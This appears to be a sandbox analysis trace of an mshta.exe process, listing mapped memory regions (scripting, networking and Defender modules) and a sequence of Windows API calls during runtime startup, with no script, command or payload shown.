entry_point = 0x6d543cd0
region_type = mapped_file
name = "dwrite.dll"
filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll")
Region:
id = 1105
start_va = 0x6cd30000
end_va = 0x6cf47fff
monitored = 0
entry_point = 0x6cdd97b0
region_type = mapped_file
name = "d3d10warp.dll"
filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll")
Region:
id = 1106
start_va = 0x7640000
end_va = 0x766dfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000007640000"
filename = ""
Region:
id = 1107
start_va = 0x7670000
end_va = 0x7670fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000007670000"
filename = ""
Region:
id = 1108
start_va = 0x7680000
end_va = 0x7680fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007680000"
filename = ""
Region:
id = 1109
start_va = 0x7690000
end_va = 0x7690fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000007690000"
filename = ""
Region:
id = 1110
start_va = 0x76a0000
end_va = 0x76dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000076a0000"
filename = ""
Region:
id = 1111
start_va = 0x76e0000
end_va = 0x77dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000076e0000"
filename = ""
Region:
id = 1112
start_va = 0x77e0000
end_va = 0x7828fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-system.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-System.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-system.dat")
Region:
id = 1113
start_va = 0x7830000
end_va = 0x882ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-fontface.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-FontFace.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-fontface.dat")
Region:
id = 1114
start_va = 0x8830000
end_va = 0x902ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat"
filename = "\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\FontCache\\~FontCache-S-1-5-21-1560258661-3990802383-1811730007-1000.dat" (normalized: "c:\\windows\\serviceprofiles\\localservice\\appdata\\local\\fontcache\\~fontcache-s-1-5-21-1560258661-3990802383-1811730007-1000.dat")
Region:
id = 1115
start_va = 0x9030000
end_va = 0x9125fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "times.ttf"
filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf")
Region:
id = 1116
start_va = 0x9130000
end_va = 0x952ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009130000"
filename = ""
Region:
id = 1117
start_va = 0x70830000
end_va = 0x70a3cfff
monitored = 0
entry_point = 0x7091acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 1118
start_va = 0x75e0000
end_va = 0x75e0fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "counters.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")
Region:
id = 1274
start_va = 0x9530000
end_va = 0x956ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009530000"
filename = ""
Region:
id = 1275
start_va = 0x9570000
end_va = 0x966ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009570000"
filename = ""
Region:
id = 1276
start_va = 0x65990000
end_va = 0x65a0efff
monitored = 1
entry_point = 0x659c1120
region_type = mapped_file
name = "vbscript.dll"
filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll")
Region:
id = 1277
start_va = 0x65c30000
end_va = 0x65c3cfff
monitored = 0
entry_point = 0x65c363e0
region_type = mapped_file
name = "amsi.dll"
filename = "\\Windows\\SysWOW64\\amsi.dll" (normalized: "c:\\windows\\syswow64\\amsi.dll")
Region:
id = 1278
start_va = 0x65970000
end_va = 0x65985fff
monitored = 0
entry_point = 0x6597e7a0
region_type = mapped_file
name = "mpoav.dll"
filename = "\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll")
Region:
id = 1279
start_va = 0x675d0000
end_va = 0x675d7fff
monitored = 0
entry_point = 0x675d17b0
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")
Region:
id = 1280
start_va = 0x9670000
end_va = 0x968ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009670000"
filename = ""
Region:
id = 1281
start_va = 0x9690000
end_va = 0x96affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009690000"
filename = ""
Region:
id = 1282
start_va = 0x65620000
end_va = 0x657adfff
monitored = 0
entry_point = 0x656438c0
region_type = mapped_file
name = "msxml3.dll"
filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll")
Region:
id = 1283
start_va = 0x96b0000
end_va = 0x987ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096b0000"
filename = ""
Region:
id = 1284
start_va = 0x96b0000
end_va = 0x974ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096b0000"
filename = ""
Region:
id = 1285
start_va = 0x9870000
end_va = 0x987ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009870000"
filename = ""
Region:
id = 1286
start_va = 0x96b0000
end_va = 0x96fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096b0000"
filename = ""
Region:
id = 1287
start_va = 0x9740000
end_va = 0x974ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009740000"
filename = ""
Region:
id = 1288
start_va = 0x96b0000
end_va = 0x96effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096b0000"
filename = ""
Region:
id = 1289
start_va = 0x96f0000
end_va = 0x96fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096f0000"
filename = ""
Region:
id = 1290
start_va = 0x9750000
end_va = 0x981ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009750000"
filename = ""
Region:
id = 1291
start_va = 0x9750000
end_va = 0x97fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009750000"
filename = ""
Region:
id = 1292
start_va = 0x9810000
end_va = 0x981ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009810000"
filename = ""
Region:
id = 1293
start_va = 0x9750000
end_va = 0x979ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009750000"
filename = ""
Region:
id = 1294
start_va = 0x97f0000
end_va = 0x97fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000097f0000"
filename = ""
Region:
id = 1295
start_va = 0x9880000
end_va = 0x995ffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")
Region:
id = 1296
start_va = 0x9960000
end_va = 0x9d5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009960000"
filename = ""
Region:
id = 1297
start_va = 0x75f0000
end_va = 0x75f0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msxml3r.dll"
filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll")
Region:
id = 1298
start_va = 0x761f0000
end_va = 0x7624efff
monitored = 0
entry_point = 0x761f4af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 1299
start_va = 0x70800000
end_va = 0x70811fff
monitored = 0
entry_point = 0x70804510
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")
Region:
id = 1300
start_va = 0x72040000
end_va = 0x7206efff
monitored = 0
entry_point = 0x7204bb70
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")
Region:
id = 1301
start_va = 0x70760000
end_va = 0x707fafff
monitored = 0
entry_point = 0x7079f7e0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")
Region:
id = 1302
start_va = 0x75250000
end_va = 0x75256fff
monitored = 0
entry_point = 0x75251e10
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")
Region:
id = 1303
start_va = 0x72070000
end_va = 0x720f3fff
monitored = 0
entry_point = 0x72096530
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")
Region:
id = 1304
start_va = 0x72100000
end_va = 0x7214efff
monitored = 0
entry_point = 0x7210d850
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")
Region:
id = 1305
start_va = 0x70750000
end_va = 0x70757fff
monitored = 0
entry_point = 0x70751fc0
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")
Region:
id = 1306
start_va = 0x6cba0000
end_va = 0x6cbd2fff
monitored = 0
entry_point = 0x6cbb0e70
region_type = mapped_file
name = "mlang.dll"
filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll")
Region:
id = 1307
start_va = 0x6f210000
end_va = 0x6fda8fff
monitored = 0
entry_point = 0x6f3e6970
region_type = mapped_file
name = "ieframe.dll"
filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll")
Region:
id = 1308
start_va = 0x96b0000
end_va = 0x96b1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000096b0000"
filename = ""
Region:
id = 1309
start_va = 0x96e0000
end_va = 0x96effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000096e0000"
filename = ""
Region:
id = 1310
start_va = 0x96c0000
end_va = 0x96cffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000096c0000"
filename = ""
Region:
id = 1311
start_va = 0x9700000
end_va = 0x973ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009700000"
filename = ""
Region:
id = 1312
start_va = 0x9d60000
end_va = 0x9e5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009d60000"
filename = ""
Region:
id = 1313
start_va = 0x72030000
end_va = 0x72037fff
monitored = 0
entry_point = 0x72031920
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")
Region:
id = 1314
start_va = 0x71fe0000
end_va = 0x72026fff
monitored = 0
entry_point = 0x71ff58d0
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")
Region:
id = 1315
start_va = 0x9e60000
end_va = 0x9f5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009e60000"
filename = ""
Region:
id = 1316
start_va = 0x65510000
end_va = 0x6561efff
monitored = 0
entry_point = 0x65550050
region_type = mapped_file
name = "msado15.dll"
filename = "\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files (x86)\\common files\\system\\ado\\msado15.dll")
Region:
id = 1317
start_va = 0x65950000
end_va = 0x6596ffff
monitored = 0
entry_point = 0x65955090
region_type = mapped_file
name = "msdart.dll"
filename = "\\Windows\\SysWOW64\\msdart.dll" (normalized: "c:\\windows\\syswow64\\msdart.dll")
Region:
id = 1318
start_va = 0x9750000
end_va = 0x976ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009750000"
filename = ""
Region:
id = 1319
start_va = 0x9790000
end_va = 0x979ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009790000"
filename = ""
Region:
id = 1320
start_va = 0x660e0000
end_va = 0x66102fff
monitored = 1
entry_point = 0x660e7b50
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")
Region:
id = 1321
start_va = 0x660c0000
end_va = 0x660d5fff
monitored = 0
entry_point = 0x660c21d0
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")
Region:
id = 1322
start_va = 0x66090000
end_va = 0x660bafff
monitored = 0
entry_point = 0x66099a70
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")
Region:
id = 1323
start_va = 0x9750000
end_va = 0x9764fff
monitored = 0
entry_point = 0x9759a70
region_type = mapped_file
name = "scrrun.dll"
filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")
Region:
id = 1324
start_va = 0x96d0000
end_va = 0x96dcfff
monitored = 1
entry_point = 0x96d7b50
region_type = mapped_file
name = "wshom.ocx"
filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")
Region:
id = 1325
start_va = 0x97a0000
end_va = 0x97dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000097a0000"
filename = ""
Region:
id = 1326
start_va = 0x9f60000
end_va = 0xa05ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009f60000"
filename = ""
Region:
id = 1327
start_va = 0x725b0000
end_va = 0x726fafff
monitored = 0
entry_point = 0x72611660
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")
Region:
id = 1328
start_va = 0x73f00000
end_va = 0x7411bfff
monitored = 0
entry_point = 0x740cbc40
region_type = mapped_file
name = "actxprxy.dll"
filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll")
Region:
id = 1329
start_va = 0x9770000
end_va = 0x9773fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1330
start_va = 0x9820000
end_va = 0x9864fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db")
Region:
id = 1331
start_va = 0x9780000
end_va = 0x9783fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1332
start_va = 0xa060000
end_va = 0xa0edfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 1333
start_va = 0x97e0000
end_va = 0x97e3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 1334
start_va = 0xa0f0000
end_va = 0xa102fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db")
Region:
id = 1335
start_va = 0x9800000
end_va = 0x9800fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009800000"
filename = ""
Region:
id = 1351
start_va = 0x74570000
end_va = 0x74601fff
monitored = 0
entry_point = 0x745b0380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 1352
start_va = 0x7fb00000
end_va = 0x7fea0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 1369
start_va = 0x97a0000
end_va = 0x97affff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000097a0000"
filename = ""
Thread:
id = 32
os_tid = 0x7a0
[0188.904] GetStartupInfoA (in: lpStartupInfo=0x19ff14 | out: lpStartupInfo=0x19ff14*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\SysWOW64\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0xa, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0188.904] GetModuleHandleA (lpModuleName=0x0) returned 0xbb0000
[0188.905] __set_app_type (_Type=0x2)
[0188.905] __p__fmode () returned 0x75734d6c
[0188.905] __p__commode () returned 0x75735b1c
[0188.905] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xbb1b90) returned 0x0
[0188.905] __getmainargs (in: _Argc=0xbb3018, _Argv=0xbb301c, _Env=0xbb3020, _DoWildCard=0, _StartInfo=0xbb302c | out: _Argc=0xbb3018, _Argv=0xbb301c, _Env=0xbb3020) returned 0
[0188.917] SetProcessDEPPolicy (dwFlags=0x1) returned 0
[0188.918] InitOnceExecuteOnce (in: InitOnce=0xbb33fc, InitFn=0xbb1770, Parameter=0x0, Context=0x0 | out: InitOnce=0xbb33fc, Parameter=0x0, Context=0x0) returned 1
[0188.918] GetVersionExA (in: lpVersionInformation=0xbb3360*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xbb3360*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0188.918] GetVersion () returned 0x295a000a
[0188.918] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x74650000
[0188.918] GetProcAddress (hModule=0x74650000, lpProcName="HeapSetInformation") returned 0x7466a8e0
[0188.918] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0188.918] malloc (_Size=0x105) returned 0x862300
[0188.918] malloc (_Size=0x105) returned 0x862410
[0188.918] LoadLibraryW (lpLibFileName="WLDP.DLL") returned 0x65ad0000
[0189.977] GetProcAddress (hModule=0x65ad0000, lpProcName="WldpGetLockdownPolicy") returned 0x65ad1ca0
[0189.977] WldpGetLockdownPolicy () returned 0x10000000
[0189.978] FreeLibrary (hLibModule=0x65ad0000) returned 1
[0190.000] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="clsid\\{25336920-03f9-11cf-8fd0-00aa00686f13}\\InProcServer32", ulOptions=0x0, samDesired=0x1, phkResult=0x19fee4 | out: phkResult=0x19fee4*=0x156) returned 0x0
[0190.002] RegQueryValueExA (in: hKey=0x156, lpValueName=0x0, lpReserved=0x0, lpType=0x19fedc, lpData=0x862300, lpcbData=0x19fed0*=0x105 | out: lpType=0x19fedc*=0x1, lpData="C:\\Windows\\SysWOW64\\mshtml.dll", lpcbData=0x19fed0*=0x1f) returned 0x0
[0190.002] LoadLibraryA (lpLibFileName="C:\\Windows\\SysWOW64\\mshtml.dll") returned 0x6dc70000
[0192.515] GetProcessHeap () returned 0x6b0000
[0192.515] GetVersion () returned 0x295a000a
[0192.515] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x74650000
[0192.515] GetProcAddress (hModule=0x74650000, lpProcName="HeapSetInformation") returned 0x7466a8e0
[0192.515] HeapSetInformation (HeapHandle=0x6b0000, HeapInformationClass=0x0, HeapInformation=0x19fac0, HeapInformationLength=0x4) returned 1
[0192.516] malloc (_Size=0x80) returned 0x862520
[0192.516] GetCurrentProcess () returned 0xffffffff
[0192.516] GetSystemInfo (in: lpSystemInfo=0x6ee38da0 | out: lpSystemInfo=0x6ee38da0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504))
[0192.517] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0192.517] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0192.517] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0192.517] VerifyVersionInfoW (in: lpVersionInformation=0x19f6c8, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x19f6c8) returned 1
[0192.517] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x19f7e8 | out: Buffer=0x0, ReturnedLength=0x19f7e8) returned 0
[0192.517] GetLastError () returned 0x7a
[0192.517] GetProcessHeap () returned 0x6b0000
[0192.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xf0) returned 0x6b66f8
[0192.517] GetLogicalProcessorInformation (in: Buffer=0x6b66f8, ReturnedLength=0x19f7e8 | out: Buffer=0x6b66f8, ReturnedLength=0x19f7e8) returned 1
[0192.517] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6b66f8 | out: hHeap=0x6b0000) returned 1
[0192.517] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x19f7fc, nSize=0x104 | out: lpBuffer="") returned 0x0
[0192.520] IsDebuggerPresent () returned 0
[0192.520] __dllonexit () returned 0x6e403750
[0192.520] __dllonexit () returned 0x6e403760
[0192.520] __dllonexit () returned 0x6e403770
[0192.520] IsDebuggerPresent () returned 0
[0192.520] __dllonexit () returned 0x6e403740
[0192.520] __dllonexit () returned 0x6e403790
[0192.521] GlobalMemoryStatusEx (in: lpBuffer=0x19f9c0 | out: lpBuffer=0x19f9c0) returned 1
[0192.521] __dllonexit () returned 0x6e403670
[0192.521] __dllonexit () returned 0x6e402900
[0192.521] __dllonexit () returned 0x6e402910
[0192.521] __dllonexit () returned 0x6e4036e0
[0192.521] __dllonexit () returned 0x6e4036f0
[0192.521] GetProcessHeap () returned 0x6b0000
[0192.521] __dllonexit () returned 0x6e403700
[0192.522] __dllonexit () returned 0x6e403710
[0192.522] __dllonexit () returned 0x6e402930
[0192.522] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0ec
[0192.523] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0ec
[0192.523] __dllonexit () returned 0x6e402950
[0192.524] __dllonexit () returned 0x6e402970
[0192.524] __dllonexit () returned 0x6e402990
[0192.524] __dllonexit () returned 0x6e4029b0
[0192.524] __dllonexit () returned 0x6e4029e0
[0192.524] __dllonexit () returned 0x6e4029c0
[0192.525] __dllonexit () returned 0x6e4029f0
[0192.525] __dllonexit () returned 0x6e4029d0
[0192.525] __dllonexit () returned 0x6e4029a0
[0192.526] GlobalMemoryStatusEx (in: lpBuffer=0x19f9c0 | out: lpBuffer=0x19f9c0) returned 1
[0192.526] __dllonexit () returned 0x6e402a00
[0192.526] __dllonexit () returned 0x6e402a10
[0192.526] __dllonexit () returned 0x6e402a30
[0192.526] __dllonexit () returned 0x6e402a50
[0192.527] __dllonexit () returned 0x6e402a70
[0192.527] __dllonexit () returned 0x6e402a90
[0192.527] __dllonexit () returned 0x6e402ab0
[0192.529] __dllonexit () returned 0x6e402ad0
[0192.530] QueryPerformanceFrequency (in: lpFrequency=0x19fa00 | out: lpFrequency=0x19fa00*=100000000) returned 1
[0192.530] __dllonexit () returned 0x6e402af0
[0192.531] __dllonexit () returned 0x6e402b00
[0192.531] __dllonexit () returned 0x6e402b70
[0192.531] __dllonexit () returned 0x6e402b30
[0192.532] __dllonexit () returned 0x6e402b40
[0192.532] __dllonexit () returned 0x6e402b50
[0192.532] __dllonexit () returned 0x6e402b60
[0192.532] __dllonexit () returned 0x6e402b20
[0192.532] __dllonexit () returned 0x6e402b80
[0192.532] __dllonexit () returned 0x6e402bb0
[0192.532] __dllonexit () returned 0x6e402ba0
[0192.532] __dllonexit () returned 0x6e402bc0
[0192.533] __dllonexit () returned 0x6e402be0
[0192.533] __dllonexit () returned 0x6e402c00
[0192.533] __dllonexit () returned 0x6e402c10
[0192.533] __dllonexit () returned 0x6e402c30
[0192.533] __dllonexit () returned 0x6e402cb0
[0192.533] __dllonexit () returned 0x6e402c90
[0192.533] __dllonexit () returned 0x6e402c70
[0192.533] __dllonexit () returned 0x6e402c50
[0192.533] RtlInitializeConditionVariable () returned 0x6ee3651c
[0192.533] RtlInitializeConditionVariable () returned 0x6ee3652c
[0192.533] __dllonexit () returned 0x6e402cd0
[0192.534] __dllonexit () returned 0x6e402cf0
[0192.534] __dllonexit () returned 0x6e402d00
[0192.534] __dllonexit () returned 0x6e402d10
[0192.534] __dllonexit () returned 0x6e402d30
[0192.534] __dllonexit () returned 0x6e402d50
[0192.534] __dllonexit () returned 0x6e402d70
[0192.534] __dllonexit () returned 0x6e402d80
[0192.534] __dllonexit () returned 0x6e402da0
[0192.535] __dllonexit () returned 0x6e402dc0
[0192.535] __dllonexit () returned 0x6e402de0
[0192.535] __dllonexit () returned 0x6e402df0
[0192.535] __dllonexit () returned 0x6e402e00
[0192.535] __dllonexit () returned 0x6e402e10
[0192.535] __dllonexit () returned 0x6e402e20
[0192.535] __dllonexit () returned 0x6e402e30
[0192.535] __dllonexit () returned 0x6e402e40
[0192.535] __dllonexit () returned 0x6e402e50
[0192.535] __dllonexit () returned 0x6e402e70
[0192.536] __dllonexit () returned 0x6e402e90
[0192.536] __dllonexit () returned 0x6e402ec0
[0192.536] __dllonexit () returned 0x6e402ed0
[0192.536] __dllonexit () returned 0x6e402f00
[0192.536] __dllonexit () returned 0x6e402f10
[0192.536] __dllonexit () returned 0x6e402f20
[0192.536] RtlInitializeConditionVariable () returned 0x6ee3e950
[0192.536] __dllonexit () returned 0x6e402f40
[0192.536] __dllonexit () returned 0x6e402fa0
[0192.536] __dllonexit () returned 0x6e402f50
[0192.537] RtlInitializeConditionVariable () returned 0x6ee366d8
[0192.537] __dllonexit () returned 0x6e402f70
[0192.537] __dllonexit () returned 0x6e402f80
[0192.537] __dllonexit () returned 0x6e402fe0
[0192.537] __dllonexit () returned 0x6e402fc0
[0192.537] __dllonexit () returned 0x6e402ff0
[0192.537] __dllonexit () returned 0x6e403010
[0192.537] __dllonexit () returned 0x6e403030
[0192.537] RtlInitializeConditionVariable () returned 0x6ee3e97c
[0192.537] __dllonexit () returned 0x6e403050
[0192.537] __dllonexit () returned 0x6e403060
[0192.538] __dllonexit () returned 0x6e403080
[0192.538] __dllonexit () returned 0x6e403090
